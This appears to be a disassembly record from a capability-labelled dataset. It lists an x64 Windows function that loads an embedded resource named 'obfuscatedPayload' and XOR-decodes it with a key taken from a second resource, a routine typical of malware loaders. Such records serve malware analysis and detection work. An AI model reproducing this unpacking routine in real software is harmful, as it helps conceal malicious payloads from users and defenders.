Function at 0x1400111bd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
jmp 0x140017290
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x568
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xf2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x588]
mov rax, qword [0x140028040]
xor rax, rbp
mov qword [rbp + 0x538], rax
mov dword [rbp + 0x4c4], 0
lea rcx, [0x14002e151]
call fcn.140011645
lea r8, [0x140023ea8]
mov edx, 0x66
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rbp + 8], rax
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rbp + 0x24], eax
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x48], rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rbp + 0x68], rax
lea r8, str.obfuscatedPayload
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rbp + 0x88], rax
mov rdx, qword [rbp + 0x88]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0xa8], rax
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rbp + 0xc8], rax
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x388]
call fcn.140011299
nop
lea rdx, [rbp + 0x388]
lea rcx, [rbp + 0xe8]
call fcn.140011456
nop
lea rcx, [rbp + 0x388]
call fcn.140011122
lea rcx, [rbp + 0xe8]
call fcn.14001148d
mov qword [rbp + 0x128], rax
lea rdx, [0x140023df3]
mov rcx, qword [rbp + 0x560]
call fcn.140011299
mov qword [rbp + 0x4d8], rax
mov eax, dword [rbp + 0x4c4]
or eax, 1
mov dword [rbp + 0x4c4], eax
mov dword [rbp + 0x184], 0
mov dword [rbp + 0x1a4], 0
jmp 0x140017402
mov eax, dword [rbp + 0x1a4]
add eax, 4
mov dword [rbp + 0x1a4], eax
movsxd rax, dword [rbp + 0x1a4]
cmp rax, qword [rbp + 0x128]
jae 0x140017614
mov eax, dword [rbp + 0x1a4]
add eax, 3
cdqe
mov rdx, rax
lea rcx, [rbp + 0xe8]
call fcn.14001101e
mov qword [rbp + 0x4d8], rax
mov ecx, dword [rbp + 0x1a4]
add ecx, 2
movsxd rcx, ecx
mov rdx, rcx
lea rcx, [rbp + 0xe8]
call fcn.14001101e
mov qword [rbp + 0x4e0], rax
mov ecx, dword [rbp + 0x1a4]
inc ecx
movsxd rcx, ecx
mov rdx, rcx
lea rcx, [rbp + 0xe8]
call fcn.14001101e
mov qword [rbp + 0x4e8], rax
movsxd rcx, dword [rbp + 0x1a4]
mov rdx, rcx
lea rcx, [rbp + 0xe8]
call fcn.14001101e
mov qword [rbp + 0x4f0], rax
lea rcx, [rbp + 0x3c8]
call fcn.140011636
mov qword [rbp + 0x4f8], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x500], rax
mov rax, qword [rbp + 0x4f0]
movzx r8d, byte [rax]
mov rdx, qword [rbp + 0x500]
lea rcx, [rbp + 0x408]
call fcn.140011672
mov qword [rbp + 0x508], rax
mov rax, qword [rbp + 0x508]
mov qword [rbp + 0x510], rax
mov rax, qword [rbp + 0x4e8]
movzx r8d, byte [rax]
mov rdx, qword [rbp + 0x510]
lea rcx, [rbp + 0x448]
call fcn.140011672
mov qword [rbp + 0x518], rax
mov rax, qword [rbp + 0x518]
mov qword [rbp + 0x520], rax
mov rax, qword [rbp + 0x4e0]
movzx r8d, byte [rax]
mov rdx, qword [rbp + 0x520]
lea rcx, [rbp + 0x488]
call fcn.140011672
mov qword [rbp + 0x528], rax
mov rax, qword [rbp + 0x528]
mov qword [rbp + 0x530], rax
mov rax, qword [rbp + 0x4d8]
movzx r8d, byte [rax]
mov rdx, qword [rbp + 0x530]
lea rcx, [rbp + 0x1c8]
call fcn.140011672
nop
lea rcx, [rbp + 0x488]
call fcn.140011122
nop
lea rcx, [rbp + 0x448]
call fcn.140011122
nop
lea rcx, [rbp + 0x408]
call fcn.140011122
nop
lea rcx, [rbp + 0x3c8]
call fcn.140011122
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x1c8]
call fcn.14001129e
mov dword [rbp + 0x4d4], eax
xor edx, edx
mov eax, dword [rbp + 0x184]
div dword [rbp + 0x24]
mov eax, edx
mov eax, eax
mov rcx, qword [rbp + 0x68]
movsx eax, byte [rcx + rax]
mov ecx, dword [rbp + 0x4d4]
xor ecx, eax
mov eax, ecx
mov byte [rbp + 0x4d8], al
mov eax, dword [rbp + 0x184]
inc eax
mov dword [rbp + 0x184], eax
movzx edx, byte [rbp + 0x4d8]
mov rcx, qword [rbp + 0x560]
call fcn.14001132a
nop
lea rcx, [rbp + 0x1c8]
call fcn.140011122
jmp 0x1400173f3
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_FreeResource]
nop
lea rcx, [rbp + 0xe8]
call fcn.140011122
mov rax, qword [rbp + 0x560]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140023a30]
call fcn.14001152d
mov rax, rdi
mov rcx, qword [rbp + 0x538]
xor rcx, rbp
call fcn.1400112e9
lea rsp, [rbp + 0x548]
pop rdi
pop rbp
ret